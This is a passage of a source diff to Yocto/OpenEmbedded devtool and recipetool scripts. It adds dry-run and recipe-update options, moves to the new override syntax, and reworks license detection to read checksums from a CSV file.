args.srcrev, args.srcbranch, args.branch, args.keep_temp,
tinfoil, rd)
- new_licenses = _extract_licenses(srctree, (rd.getVar('LIC_FILES_CHKSUM') or ""))
+ new_licenses = _extract_licenses(srctree_s, (rd.getVar('LIC_FILES_CHKSUM') or ""))
license_diff = _generate_license_diff(old_licenses, new_licenses)
- rf, copied = _create_new_recipe(args.version, md5, sha256, args.srcrev, srcbranch, srcsubdir1, srcsubdir2, config.workspace_path, tinfoil, rd, license_diff, new_licenses, srctree, args.keep_failure)
- except bb.process.CmdError as e:
- _upgrade_error(e, rf, srctree, args.keep_failure)
- except DevtoolError as e:
- _upgrade_error(e, rf, srctree, args.keep_failure)
+ rf, copied = _create_new_recipe(args.version, checksums, args.srcrev, srcbranch, srcsubdir1, srcsubdir2, config.workspace_path, tinfoil, rd, license_diff, new_licenses, srctree, args.keep_failure)
+ except (bb.process.CmdError, DevtoolError) as e:
+ recipedir = os.path.join(config.workspace_path, 'recipes', rd.getVar('BPN'))
+ _upgrade_error(e, recipedir, srctree, args.keep_failure)
standard._add_md5(config, pn, os.path.dirname(rf))
- af = _write_append(rf, srctree, args.same_dir, args.no_same_dir, rev2,
+ af = _write_append(rf, srctree, srctree_s, args.same_dir, args.no_same_dir, rev2,
copied, config.workspace_path, rd)
standard._add_md5(config, pn, af)
@@ -574,6 +615,9 @@ def upgrade(args, config, basepath, workspace):
logger.info('New recipe is %s' % rf)
if license_diff:
logger.info('License checksums have been updated in the new recipe; please refer to it for the difference between the old and the new license texts.')
+ preferred_version = rd.getVar('PREFERRED_VERSION_%s' % rd.getVar('PN'))
+ if preferred_version:
+ logger.warning('Version is pinned to %s via PREFERRED_VERSION; it may need adjustment to match the new version before any further steps are taken' % preferred_version)
finally:
tinfoil.shutdown()
return 0
@@ -605,7 +649,7 @@ def check_upgrade_status(args, config, basepath, workspace):
for result in results:
# pn, update_status, current, latest, maintainer, latest_commit, no_update_reason
if args.all or result[1] != 'MATCH':
- logger.info("{:25} {:15} {:15} {} {} {}".format( result[0],
+ print("{:25} {:15} {:15} {} {} {}".format( result[0],
result[2],
result[1] if result[1] != 'UPDATE' else (result[3] if not result[3].endswith("new-commits-available") else "new commits"),
result[4],
diff --git a/scripts/lib/recipetool/append.py b/scripts/lib/recipetool/append.py
index e9d52bb67b..341e893305 100644
--- a/scripts/lib/recipetool/append.py
+++ b/scripts/lib/recipetool/append.py
@@ -18,6 +18,7 @@ import shutil
import scriptutils
import errno
from collections import defaultdict
+import difflib
logger = logging.getLogger('recipetool')
@@ -49,7 +50,7 @@ def find_target_file(targetpath, d, pkglist=None):
'/etc/group': '/etc/group should be managed through the useradd and extrausers classes',
'/etc/shadow': '/etc/shadow should be managed through the useradd and extrausers classes',
'/etc/gshadow': '/etc/gshadow should be managed through the useradd and extrausers classes',
- '${sysconfdir}/hostname': '${sysconfdir}/hostname contents should be set by setting hostname_pn-base-files = "value" in configuration',}
+ '${sysconfdir}/hostname': '${sysconfdir}/hostname contents should be set by setting hostname:pn-base-files = "value" in configuration',}
for pthspec, message in invalidtargets.items():
if fnmatch.fnmatchcase(targetpath, d.expand(pthspec)):
@@ -72,15 +73,15 @@ def find_target_file(targetpath, d, pkglist=None):
# This does assume that PN comes before other values, but that's a fairly safe assumption
for line in f:
if line.startswith('PN:'):
- pn = line.split(':', 1)[1].strip()
- elif line.startswith('FILES_INFO:'):
- val = line.split(':', 1)[1].strip()
+ pn = line.split(': ', 1)[1].strip()
+ elif line.startswith('FILES_INFO'):
+ val = line.split(': ', 1)[1].strip()
dictval = json.loads(val)
for fullpth in dictval.keys():
if fnmatch.fnmatchcase(fullpth, targetpath):
recipes[targetpath].append(pn)
- elif line.startswith('pkg_preinst_') or line.startswith('pkg_postinst_'):
- scriptval = line.split(':', 1)[1].strip().encode('utf-8').decode('unicode_escape')
+ elif line.startswith('pkg_preinst:') or line.startswith('pkg_postinst:'):
+ scriptval = line.split(': ', 1)[1].strip().encode('utf-8').decode('unicode_escape')
if 'update-alternatives --install %s ' % targetpath in scriptval:
recipes[targetpath].append('?%s' % pn)
elif targetpath_re.search(scriptval):
@@ -299,7 +300,10 @@ def appendfile(args):
if st.st_mode & stat.S_IXUSR:
perms = '0755'
install = {args.newfile: (args.targetpath, perms)}
- oe.recipeutils.bbappend_recipe(rd, args.destlayer, {args.newfile: sourcepath}, install, wildcardver=args.wildcard_version, machine=args.machine)
+ if sourcepath:
+ sourcepath = os.path.basename(sourcepath)
+ oe.recipeutils.bbappend_recipe(rd, args.destlayer, {args.newfile: {'newname' : sourcepath}}, install, wildcardver=args.wildcard_version, machine=args.machine)
+ tinfoil.modified_files()
return 0
else:
if alternative_pns:
@@ -327,6 +331,7 @@ def appendsrc(args, files, rd, extralines=None):
copyfiles = {}
extralines = extralines or []
+ params = []
for newfile, srcfile in files.items():
src_destdir = os.path.dirname(srcfile)
if not args.use_workdir:
@@ -337,25 +342,46 @@ def appendsrc(args, files, rd, extralines=None):
src_destdir = os.path.join(os.path.relpath(srcdir, workdir), src_destdir)
src_destdir = os.path.normpath(src_destdir)
- source_uri = 'file://{0}'.format(os.path.basename(srcfile))
if src_destdir and src_destdir != '.':
- source_uri += ';subdir={0}'.format(src_destdir)
-
- simple = bb.fetch.URI(source_uri)
- simple.params = {}
- simple_str = str(simple)
- if simple_str in simplified:
- existing = simplified[simple_str]
- if source_uri != existing:
- logger.warning('{0!r} is already in SRC_URI, with different parameters: {1!r}, not adding'.format(source_uri, existing))
- else:
- logger.warning('{0!r} is already in SRC_URI, not adding'.format(source_uri))
+ params.append({'subdir': src_destdir})
else:
- extralines.append('SRC_URI += {0}'.format(source_uri))
- copyfiles[newfile] = srcfile
-
- oe.recipeutils.bbappend_recipe(rd, args.destlayer, copyfiles, None, wildcardver=args.wildcard_version, machine=args.machine, extralines=extralines)
-
+ params.append({})
+
+ copyfiles[newfile] = {'newname' : os.path.basename(srcfile)}
+
+ dry_run_output = None
+ dry_run_outdir = None
+ if args.dry_run:
+ import tempfile
+ dry_run_output = tempfile.TemporaryDirectory(prefix='devtool')
+ dry_run_outdir = dry_run_output.name
+
+ appendfile, _ = oe.recipeutils.bbappend_recipe(rd, args.destlayer, copyfiles, None, wildcardver=args.wildcard_version, machine=args.machine, extralines=extralines, params=params,
+ redirect_output=dry_run_outdir, update_original_recipe=args.update_recipe)
+ if not appendfile:
+ return
+ if args.dry_run:
+ output = ''
+ appendfilename = os.path.basename(appendfile)
+ newappendfile = appendfile
+ if appendfile and os.path.exists(appendfile):
+ with open(appendfile, 'r') as f:
+ oldlines = f.readlines()
+ else:
+ appendfile = '/dev/null'
+ oldlines = []
+
+ with open(os.path.join(dry_run_outdir, appendfilename), 'r') as f:
+ newlines = f.readlines()
+ diff = difflib.unified_diff(oldlines, newlines, appendfile, newappendfile)
+ difflines = list(diff)
+ if difflines:
+ output += ''.join(difflines)
+ if output:
+ logger.info('Diff of changed files:\n%s' % output)
+ else:
+ logger.info('No changed files')
+ tinfoil.modified_files()
def appendsrcfiles(parser, args):
recipedata = _parse_recipe(args.recipe, tinfoil)
@@ -435,6 +461,8 @@ def register_commands(subparsers):
help='Create/update a bbappend to add or replace source files',
description='Creates a bbappend (or updates an existing one) to add or replace the specified file in the recipe sources, either those in WORKDIR or those in the source tree. This command lets you specify multiple files with a destination directory, so cannot specify the destination filename. See the `appendsrcfile` command for the other behavior.')
parser.add_argument('-D', '--destdir', help='Destination directory (relative to S or WORKDIR, defaults to ".")', default='', type=destination_path)
+ parser.add_argument('-u', '--update-recipe', help='Update recipe instead of creating (or updating) a bbapend file. DESTLAYER must contains the recipe to update', action='store_true')
+ parser.add_argument('-n', '--dry-run', help='Dry run mode', action='store_true')
parser.add_argument('files', nargs='+', metavar='FILE', help='File(s) to be added to the recipe sources (WORKDIR or S)', type=existing_path)
parser.set_defaults(func=lambda a: appendsrcfiles(parser, a), parserecipes=True)
@@ -442,6 +470,8 @@ def register_commands(subparsers):
parents=[common_src],
help='Create/update a bbappend to add or replace a source file',
description='Creates a bbappend (or updates an existing one) to add or replace the specified files in the recipe sources, either those in WORKDIR or those in the source tree. This command lets you specify the destination filename, not just destination directory, but only works for one file. See the `appendsrcfiles` command for the other behavior.')
+ parser.add_argument('-u', '--update-recipe', help='Update recipe instead of creating (or updating) a bbapend file. DESTLAYER must contains the recipe to update', action='store_true')
+ parser.add_argument('-n', '--dry-run', help='Dry run mode', action='store_true')
parser.add_argument('file', metavar='FILE', help='File to be added to the recipe sources (WORKDIR or S)', type=existing_path)
parser.add_argument('destfile', metavar='DESTFILE', nargs='?', help='Destination path (relative to S or WORKDIR, optional)', type=destination_path)
parser.set_defaults(func=lambda a: appendsrcfile(parser, a), parserecipes=True)
diff --git a/scripts/lib/recipetool/create.py b/scripts/lib/recipetool/create.py
index 566c75369a..8e9ff38db6 100644
--- a/scripts/lib/recipetool/create.py
+++ b/scripts/lib/recipetool/create.py
@@ -115,8 +115,8 @@ class RecipeHandler(object):
for line in f:
if line.startswith('PN:'):
pn = line.split(':', 1)[-1].strip()
- elif line.startswith('FILES_INFO:'):
- val = line.split(':', 1)[1].strip()
+ elif line.startswith('FILES_INFO:%s:' % pkg):
+ val = line.split(': ', 1)[1].strip()
dictval = json.loads(val)
for fullpth in sorted(dictval):
if fullpth.startswith(includedir) and fullpth.endswith('.h'):
@@ -366,7 +366,7 @@ def supports_srcrev(uri):
def reformat_git_uri(uri):
'''Convert any http[s]://....git URI into git://...;protocol=http[s]'''
checkuri = uri.split(';', 1)[0]
- if checkuri.endswith('.git') or '/git/' in checkuri or re.match('https?://github.com/[^/]+/[^/]+/?$', checkuri):
+ if checkuri.endswith('.git') or '/git/' in checkuri or re.match('https?://git(hub|lab).com/[^/]+/[^/]+/?$', checkuri):
# Appends scheme if the scheme is missing
if not '://' in uri:
uri = 'git://' + uri
@@ -423,6 +423,36 @@ def create_recipe(args):
storeTagName = ''
pv_srcpv = False
+ handled = []
+ classes = []
+
+ # Find all plugins that want to register handlers
+ logger.debug('Loading recipe handlers')
+ raw_handlers = []
+ for plugin in plugins:
+ if hasattr(plugin, 'register_recipe_handlers'):
+ plugin.register_recipe_handlers(raw_handlers)
+ # Sort handlers by priority
+ handlers = []
+ for i, handler in enumerate(raw_handlers):
+ if isinstance(handler, tuple):
+ handlers.append((handler[0], handler[1], i))
+ else:
+ handlers.append((handler, 0, i))
+ handlers.sort(key=lambda item: (item[1], -item[2]), reverse=True)
+ for handler, priority, _ in handlers:
+ logger.debug('Handler: %s (priority %d)' % (handler.__class__.__name__, priority))
+ setattr(handler, '_devtool', args.devtool)
+ handlers = [item[0] for item in handlers]
+
+ fetchuri = None
+ for handler in handlers:
+ if hasattr(handler, 'process_url'):
+ ret = handler.process_url(args, classes, handled, extravalues)
+ if 'url' in handled and ret:
+ fetchuri = ret
+ break
+
if os.path.isfile(source):
source = 'file://%s' % os.path.abspath(source)
@@ -431,11 +461,12 @@ def create_recipe(args):
if re.match(r'https?://github.com/[^/]+/[^/]+/archive/.+(\.tar\..*|\.zip)$', source):
logger.warning('github archive files are not guaranteed to be stable and may be re-generated over time. If the latter occurs, the checksums will likely change and the recipe will fail at do_fetch. It is recommended that you point to an actual commit or tag in the repository instead (using the repository URL in conjunction with the -S/--srcrev option).')
# Fetch a URL
- fetchuri = reformat_git_uri(urldefrag(source)[0])
+ if not fetchuri:
+ fetchuri = reformat_git_uri(urldefrag(source)[0])
if args.binary:
# Assume the archive contains the directory structure verbatim
# so we need to extract to a subdirectory
- fetchuri += ';subdir=${BP}'
+ fetchuri += ';subdir=${BPN}'
srcuri = fetchuri
rev_re = re.compile(';rev=([^;]+)')
res = rev_re.search(srcuri)
@@ -478,6 +509,9 @@ def create_recipe(args):
storeTagName = params['tag']
params['nobranch'] = '1'
del params['tag']
+ # Assume 'master' branch if not set
+ if scheme in ['git', 'gitsm'] and 'branch' not in params and 'nobranch' not in params:
+ params['branch'] = 'master'
fetchuri = bb.fetch2.encodeurl((scheme, network, path, user, passwd, params))
tmpparent = tinfoil.config_data.getVar('BASE_WORKDIR')
@@ -527,10 +561,9 @@ def create_recipe(args):
# Remove HEAD reference point and drop remote prefix
get_branch = [x.split('/', 1)[1] for x in get_branch if not x.startswith('origin/HEAD')]
if 'master' in get_branch:
- # If it is master, we do not need to append 'branch=master' as this is default.
# Even with the case where get_branch has multiple objects, if 'master' is one
# of them, we should default take from 'master'
- srcbranch = ''
+ srcbranch = 'master'
elif len(get_branch) == 1:
# If 'master' isn't in get_branch and get_branch contains only ONE object, then store result into 'srcbranch'
srcbranch = get_branch[0]
@@ -543,8 +576,8 @@ def create_recipe(args):
# Since we might have a value in srcbranch, we need to
# recontruct the srcuri to include 'branch' in params.
scheme, network, path, user, passwd, params = bb.fetch2.decodeurl(srcuri)
- if srcbranch:
- params['branch'] = srcbranch
+ if scheme in ['git', 'gitsm']:
+ params['branch'] = srcbranch or 'master'
if storeTagName and scheme in ['git', 'gitsm']:
# Check srcrev using tag and check validity of the tag
@@ -603,7 +636,7 @@ def create_recipe(args):
splitline = line.split()
if len(splitline) > 1:
if splitline[0] == 'origin' and scriptutils.is_src_url(splitline[1]):
- srcuri = reformat_git_uri(splitline[1])
+ srcuri = reformat_git_uri(splitline[1]) + ';branch=master'
srcsubdir = 'git'
break
@@ -636,8 +669,6 @@ def create_recipe(args):
# We'll come back and replace this later in handle_license_vars()
lines_before.append('##LICENSE_PLACEHOLDER##')
- handled = []
- classes = []
# FIXME This is kind of a hack, we probably ought to be using bitbake to do this
pn = None
@@ -675,8 +706,10 @@ def create_recipe(args):
if not srcuri:
lines_before.append('# No information for SRC_URI yet (only an external source tree was specified)')
lines_before.append('SRC_URI = "%s"' % srcuri)
+ shown_checksums = ["%ssum" % s for s in bb.fetch2.SHOWN_CHECKSUM_LIST]
for key, value in sorted(checksums.items()):
- lines_before.append('SRC_URI[%s] = "%s"' % (key, value))
+ if key in shown_checksums:
+ lines_before.append('SRC_URI[%s] = "%s"' % (key, value))
if srcuri and supports_srcrev(srcuri):
lines_before.append('')
lines_before.append('# Modify these as desired')
@@ -688,7 +721,7 @@ def create_recipe(args):
srcpvprefix = 'svnr'
else:
srcpvprefix = scheme
- lines_before.append('PV = "%s+%s${SRCPV}"' % (realpv or '1.0', srcpvprefix))
+ lines_before.append('PV = "%s+%s"' % (realpv or '1.0', srcpvprefix))
pv_srcpv = True
if not args.autorev and srcrev == '${AUTOREV}':
if os.path.exists(os.path.join(srctree, '.git')):
@@ -710,31 +743,12 @@ def create_recipe(args):
lines_after.append('')
if args.binary:
- lines_after.append('INSANE_SKIP_${PN} += "already-stripped"')
+ lines_after.append('INSANE_SKIP:${PN} += "already-stripped"')
lines_after.append('')
if args.npm_dev:
extravalues['NPM_INSTALL_DEV'] = 1
- # Find all plugins that want to register handlers
- logger.debug('Loading recipe handlers')
- raw_handlers = []
- for plugin in plugins:
- if hasattr(plugin, 'register_recipe_handlers'):
- plugin.register_recipe_handlers(raw_handlers)
- # Sort handlers by priority
- handlers = []
- for i, handler in enumerate(raw_handlers):
- if isinstance(handler, tuple):
- handlers.append((handler[0], handler[1], i))
- else:
- handlers.append((handler, 0, i))
- handlers.sort(key=lambda item: (item[1], -item[2]), reverse=True)
- for handler, priority, _ in handlers:
- logger.debug('Handler: %s (priority %d)' % (handler.__class__.__name__, priority))
- setattr(handler, '_devtool', args.devtool)
- handlers = [item[0] for item in handlers]
-
# Apply the handlers
if args.binary:
classes.append('bin_package')
@@ -743,6 +757,10 @@ def create_recipe(args):
for handler in handlers:
handler.process(srctree_use, classes, lines_before, lines_after, handled, extravalues)
+ # native and nativesdk classes are special and must be inherited last
+ # If present, put them at the end of the classes list
+ classes.sort(key=lambda c: c in ("native", "nativesdk"))
+
extrafiles = extravalues.pop('extrafiles', {})
extra_pn = extravalues.pop('PN', None)
extra_pv = extravalues.pop('PV', None)
@@ -867,8 +885,10 @@ def create_recipe(args):
outlines.append('')
outlines.extend(lines_after)
+ outlines = [ line.rstrip('\n') +"\n" for line in outlines]
+
if extravalues:
- _, outlines = oe.recipeutils.patch_recipe_lines(outlines, extravalues, trailing_newline=False)
+ _, outlines = oe.recipeutils.patch_recipe_lines(outlines, extravalues, trailing_newline=True)
if args.extract_to:
scriptutils.git_convert_standalone_clone(srctree)
@@ -884,7 +904,7 @@ def create_recipe(args):
log_info_cond('Source extracted to %s' % args.extract_to, args.devtool)
if outfile == '-':
- sys.stdout.write('\n'.join(outlines) + '\n')
+ sys.stdout.write(''.join(outlines) + '\n')
else:
with open(outfile, 'w') as f:
lastline = None
@@ -892,9 +912,10 @@ def create_recipe(args):
if not lastline and not line:
# Skip extra blank lines
continue
- f.write('%s\n' % line)
+ f.write('%s' % line)
lastline = line
log_info_cond('Recipe %s has been created; further editing may be required to make it fully functional' % outfile, args.devtool)
+ tinfoil.modified_files()
if tempsrc:
if args.keep_temp:
@@ -917,6 +938,22 @@ def split_value(value):
else:
return value
+def fixup_license(value):
+ # Ensure licenses with OR starts and ends with brackets
+ if '|' in value:
+ return '(' + value + ')'
+ return value
+
+def tidy_licenses(value):
+ """Flat, split and sort licenses"""
+ from oe.license import flattened_licenses
+ def _choose(a, b):
+ str_a, str_b = sorted((" & ".join(a), " & ".join(b)), key=str.casefold)
+ return ["(%s | %s)" % (str_a, str_b)]
+ if not isinstance(value, str):
+ value = " & ".join(value)
+ return sorted(list(set(flattened_licenses(value, _choose))), key=str.casefold)
+
def handle_license_vars(srctree, lines_before, handled, extravalues, d):
lichandled = [x for x in handled if x[0] == 'license']
if lichandled:
@@ -930,10 +967,13 @@ def handle_license_vars(srctree, lines_before, handled, extravalues, d):
lines = []
if licvalues:
for licvalue in licvalues:
- if not licvalue[0] in licenses:
- licenses.append(licvalue[0])
+ license = licvalue[0]
+ lics = tidy_licenses(fixup_license(license))
+ lics = [lic for lic in lics if lic not in licenses]
+ if len(lics):
+ licenses.extend(lics)
lic_files_chksum.append('file://%s;md5=%s' % (licvalue[1], licvalue[2]))
- if licvalue[0] == 'Unknown':
+ if license == 'Unknown':
lic_unknown.append(licvalue[1])
if lic_unknown:
lines.append('#')
@@ -942,9 +982,7 @@ def handle_license_vars(srctree, lines_before, handled, extravalues, d):
for licfile in lic_unknown:
lines.append('# %s' % licfile)
- extra_license = split_value(extravalues.pop('LICENSE', []))
- if '&' in extra_license:
- extra_license.remove('&')
+ extra_license = tidy_licenses(extravalues.pop('LICENSE', ''))
if extra_license:
if licenses == ['Unknown']:
licenses = extra_license
@@ -985,7 +1023,7 @@ def handle_license_vars(srctree, lines_before, handled, extravalues, d):
lines.append('# instead of &. If there is any doubt, check the accompanying documentation')
lines.append('# to determine which situation is applicable.')
- lines.append('LICENSE = "%s"' % ' & '.join(licenses))
+ lines.append('LICENSE = "%s"' % ' & '.join(sorted(licenses, key=str.casefold)))
lines.append('LIC_FILES_CHKSUM = "%s"' % ' \\\n '.join(lic_files_chksum))
lines.append('')
@@ -1002,118 +1040,170 @@ def handle_license_vars(srctree, lines_before, handled, extravalues, d):
handled.append(('license', licvalues))
return licvalues
-def get_license_md5sums(d, static_only=False):
+def get_license_md5sums(d, static_only=False, linenumbers=False):
import bb.utils
+ import csv
md5sums = {}
- if not static_only:
+ if not static_only and not linenumbers:
# Gather md5sums of license files in common license dir
commonlicdir = d.getVar('COMMON_LICENSE_DIR')
for fn in os.listdir(commonlicdir):
md5value = bb.utils.md5_file(os.path.join(commonlicdir, fn))
md5sums[md5value] = fn
+
# The following were extracted from common values in various recipes
# (double checking the license against the license file itself, not just
# the LICENSE value in the recipe)
- md5sums['94d55d512a9ba36caa9b7df079bae19f'] = 'GPLv2'
- md5sums['b234ee4d69f5fce4486a80fdaf4a4263'] = 'GPLv2'
- md5sums['59530bdf33659b29e73d4adb9f9f6552'] = 'GPLv2'
- md5sums['0636e73ff0215e8d672dc4c32c317bb3'] = 'GPLv2'
- md5sums['eb723b61539feef013de476e68b5c50a'] = 'GPLv2'
- md5sums['751419260aa954499f7abaabaa882bbe'] = 'GPLv2'
- md5sums['393a5ca445f6965873eca0259a17f833'] = 'GPLv2'
- md5sums['12f884d2ae1ff87c09e5b7ccc2c4ca7e'] = 'GPLv2'
- md5sums['8ca43cbc842c2336e835926c2166c28b'] = 'GPLv2'
- md5sums['ebb5c50ab7cab4baeffba14977030c07'] = 'GPLv2'
- md5sums['c93c0550bd3173f4504b2cbd8991e50b'] = 'GPLv2'
- md5sums['9ac2e7cff1ddaf48b6eab6028f23ef88'] = 'GPLv2'
- md5sums['4325afd396febcb659c36b49533135d4'] = 'GPLv2'
- md5sums['18810669f13b87348459e611d31ab760'] = 'GPLv2'
- md5sums['d7810fab7487fb0aad327b76f1be7cd7'] = 'GPLv2' # the Linux kernel's COPYING file
- md5sums['bbb461211a33b134d42ed5ee802b37ff'] = 'LGPLv2.1'
- md5sums['7fbc338309ac38fefcd64b04bb903e34'] = 'LGPLv2.1'
- md5sums['4fbd65380cdd255951079008b364516c'] = 'LGPLv2.1'
- md5sums['2d5025d4aa3495befef8f17206a5b0a1'] = 'LGPLv2.1'
- md5sums['fbc093901857fcd118f065f900982c24'] = 'LGPLv2.1'
- md5sums['a6f89e2100d9b6cdffcea4f398e37343'] = 'LGPLv2.1'
- md5sums['d8045f3b8f929c1cb29a1e3fd737b499'] = 'LGPLv2.1'
- md5sums['fad9b3332be894bab9bc501572864b29'] = 'LGPLv2.1'
- md5sums['3bf50002aefd002f49e7bb854063f7e7'] = 'LGPLv2'
- md5sums['9f604d8a4f8e74f4f5140845a21b6674'] = 'LGPLv2'
- md5sums['5f30f0716dfdd0d91eb439ebec522ec2'] = 'LGPLv2'
- md5sums['55ca817ccb7d5b5b66355690e9abc605'] = 'LGPLv2'
- md5sums['252890d9eee26aab7b432e8b8a616475'] = 'LGPLv2'
- md5sums['3214f080875748938ba060314b4f727d'] = 'LGPLv2'
- md5sums['db979804f025cf55aabec7129cb671ed'] = 'LGPLv2'
- md5sums['d32239bcb673463ab874e80d47fae504'] = 'GPLv3'
- md5sums['f27defe1e96c2e1ecd4e0c9be8967949'] = 'GPLv3'
- md5sums['6a6a8e020838b23406c81b19c1d46df6'] = 'LGPLv3'
- md5sums['3b83ef96387f14655fc854ddc3c6bd57'] = 'Apache-2.0'
- md5sums['385c55653886acac3821999a3ccd17b3'] = 'Artistic-1.0 | GPL-2.0' # some perl modules
- md5sums['54c7042be62e169199200bc6477f04d1'] = 'BSD-3-Clause'
- md5sums['bfe1f75d606912a4111c90743d6c7325'] = 'MPL-1.1'
+
+ # Read license md5sums from csv file
+ scripts_path = os.path.dirname(os.path.realpath(__file__))
+ for path in (d.getVar('BBPATH').split(':')
+ + [os.path.join(scripts_path, '..', '..')]):
+ csv_path = os.path.join(path, 'lib', 'recipetool', 'licenses.csv')
+ if os.path.isfile(csv_path):
+ with open(csv_path, newline='') as csv_file:
+ fieldnames = ['md5sum', 'license', 'beginline', 'endline', 'md5']
+ reader = csv.DictReader(csv_file, delimiter=',', fieldnames=fieldnames)
+ for row in reader:
+ if linenumbers:
+ md5sums[row['md5sum']] = (
+ row['license'], row['beginline'], row['endline'], row['md5'])
+ else:
+ md5sums[row['md5sum']] = row['license']
+
return md5sums
-def crunch_license(licfile):
+def crunch_known_licenses(d):
'''
- Remove non-material text from a license file and then check
- its md5sum against a known list. This works well for licenses
- which contain a copyright statement, but is also a useful way
- to handle people's insistence upon reformatting the license text
- slightly (with no material difference to the text of the
- license).
+ Calculate the MD5 checksums for the crunched versions of all common
+ licenses. Also add additional known checksums.
'''
+
+ crunched_md5sums = {}
- import oe.utils
+ # common licenses
+ crunched_md5sums['ad4e9d34a2e966dfe9837f18de03266d'] = 'GFDL-1.1-only'
+ crunched_md5sums['d014fb11a34eb67dc717fdcfc97e60ed'] = 'GFDL-1.2-only'
+ crunched_md5sums['e020ca655b06c112def28e597ab844f1'] = 'GFDL-1.3-only'
- # Note: these are carefully constructed!
- license_title_re = re.compile(r'^\(?(#+ *)?(The )?.{1,10} [Ll]icen[sc]e( \(.{1,10}\))?\)?:?$')
- license_statement_re = re.compile(r'^(This (project|software) is( free software)? (released|licen[sc]ed)|(Released|Licen[cs]ed)) under the .{1,10} [Ll]icen[sc]e:?$')
- copyright_re = re.compile('^(#+)? *Copyright .*$')
-
- crunched_md5sums = {}
# The following two were gleaned from the "forever" npm package
crunched_md5sums['0a97f8e4cbaf889d6fa51f84b89a79f6'] = 'ISC'
- crunched_md5sums['eecf6429523cbc9693547cf2db790b5c'] = 'MIT'
- # https://github.com/vasi/pixz/blob/master/LICENSE
- crunched_md5sums['2f03392b40bbe663597b5bd3cc5ebdb9'] = 'BSD-2-Clause'
# https://github.com/waffle-gl/waffle/blob/master/LICENSE.txt
- crunched_md5sums['e72e5dfef0b1a4ca8a3d26a60587db66'] = 'BSD-2-Clause'
+ crunched_md5sums['50fab24ce589d69af8964fdbfe414c60'] = 'BSD-2-Clause'
# https://github.com/spigwitmer/fakeds1963s/blob/master/LICENSE
- crunched_md5sums['8be76ac6d191671f347ee4916baa637e'] = 'GPLv2'
- # https://github.com/datto/dattobd/blob/master/COPYING
- # http://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/docs/GPLv2.TXT
- crunched_md5sums['1d65c5ad4bf6489f85f4812bf08ae73d'] = 'GPLv2'
+ crunched_md5sums['88a4355858a1433fea99fae34a44da88'] = 'GPL-2.0-only'
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
- # http://git.neil.brown.name/?p=mdadm.git;a=blob;f=COPYING;h=d159169d1050894d3ea3b98e1c965c4058208fe1;hb=HEAD
- crunched_md5sums['fb530f66a7a89ce920f0e912b5b66d4b'] = 'GPLv2'
- # https://github.com/gkos/nrf24/blob/master/COPYING
- crunched_md5sums['7b6aaa4daeafdfa6ed5443fd2684581b'] = 'GPLv2'
- # https://github.com/josch09/resetusb/blob/master/COPYING
- crunched_md5sums['8b8ac1d631a4d220342e83bcf1a1fbc3'] = 'GPLv3'
+ crunched_md5sums['063b5c3ebb5f3aa4c85a2ed18a31fbe7'] = 'GPL-2.0-only'
# https://github.com/FFmpeg/FFmpeg/blob/master/COPYING.LGPLv2.1
- crunched_md5sums['2ea316ed973ae176e502e2297b574bb3'] = 'LGPLv2.1'
+ crunched_md5sums['7f5202f4d44ed15dcd4915f5210417d8'] = 'LGPL-2.1-only'
# unixODBC-2.3.4 COPYING
- crunched_md5sums['1daebd9491d1e8426900b4fa5a422814'] = 'LGPLv2.1'
+ crunched_md5sums['3debde09238a8c8e1f6a847e1ec9055b'] = 'LGPL-2.1-only'
# https://github.com/FFmpeg/FFmpeg/blob/master/COPYING.LGPLv3
- crunched_md5sums['2ebfb3bb49b9a48a075cc1425e7f4129'] = 'LGPLv3'
+ crunched_md5sums['f90c613c51aa35da4d79dd55fc724ceb'] = 'LGPL-3.0-only'
# https://raw.githubusercontent.com/eclipse/mosquitto/v1.4.14/epl-v10
crunched_md5sums['efe2cb9a35826992b9df68224e3c2628'] = 'EPL-1.0'
- # https://raw.githubusercontent.com/eclipse/mosquitto/v1.4.14/edl-v10
- crunched_md5sums['0a9c78c0a398d1bbce4a166757d60387'] = 'EDL-1.0'
+
+ # https://raw.githubusercontent.com/jquery/esprima/3.1.3/LICENSE.BSD
+ crunched_md5sums['80fa7b56a28e8c902e6af194003220a5'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/npm/npm-install-checks/master/LICENSE
+ crunched_md5sums['e659f77bfd9002659e112d0d3d59b2c1'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/silverwind/default-gateway/4.2.0/LICENSE
+ crunched_md5sums['4c641f2d995c47f5cb08bdb4b5b6ea05'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/tad-lispy/node-damerau-levenshtein/v1.0.5/LICENSE
+ crunched_md5sums['2b8c039b2b9a25f0feb4410c4542d346'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/terser/terser/v3.17.0/LICENSE
+ crunched_md5sums['8bd23871802951c9ad63855151204c2c'] = 'BSD-2-Clause'
+ # https://raw.githubusercontent.com/alexei/sprintf.js/1.0.3/LICENSE
+ crunched_md5sums['008c22318c8ea65928bf730ddd0273e3'] = 'BSD-3-Clause'
+ # https://raw.githubusercontent.com/Caligatio/jsSHA/v3.2.0/LICENSE
+ crunched_md5sums['0e46634a01bfef056892949acaea85b1'] = 'BSD-3-Clause'
+ # https://raw.githubusercontent.com/d3/d3-path/v1.0.9/LICENSE
+ crunched_md5sums['b5f72aef53d3b2b432702c30b0215666'] = 'BSD-3-Clause'
+ # https://raw.githubusercontent.com/feross/ieee754/v1.1.13/LICENSE
+ crunched_md5sums['a39327c997c20da0937955192d86232d'] = 'BSD-3-Clause'
+ # https://raw.githubusercontent.com/joyent/node-extsprintf/v1.3.0/LICENSE
+ crunched_md5sums['721f23a96ff4161ca3a5f071bbe18108'] = 'MIT'
+ # https://raw.githubusercontent.com/pvorb/clone/v0.2.0/LICENSE
+ crunched_md5sums['b376d29a53c9573006b9970709231431'] = 'MIT'
+ # https://raw.githubusercontent.com/andris9/encoding/v0.1.12/LICENSE
+ crunched_md5sums['85d8a977ee9d7c5ab4ac03c9b95431c4'] = 'MIT-0'
+ # https://raw.githubusercontent.com/faye/websocket-driver-node/0.7.3/LICENSE.md
+ crunched_md5sums['b66384e7137e41a9b1904ef4d39703b6'] = 'Apache-2.0'
+ # https://raw.githubusercontent.com/less/less.js/v4.1.1/LICENSE
+ crunched_md5sums['b27575459e02221ccef97ec0bfd457ae'] = 'Apache-2.0'
+ # https://raw.githubusercontent.com/microsoft/TypeScript/v3.5.3/LICENSE.txt
+ crunched_md5sums['a54a1a6a39e7f9dbb4a23a42f5c7fd1c'] = 'Apache-2.0'
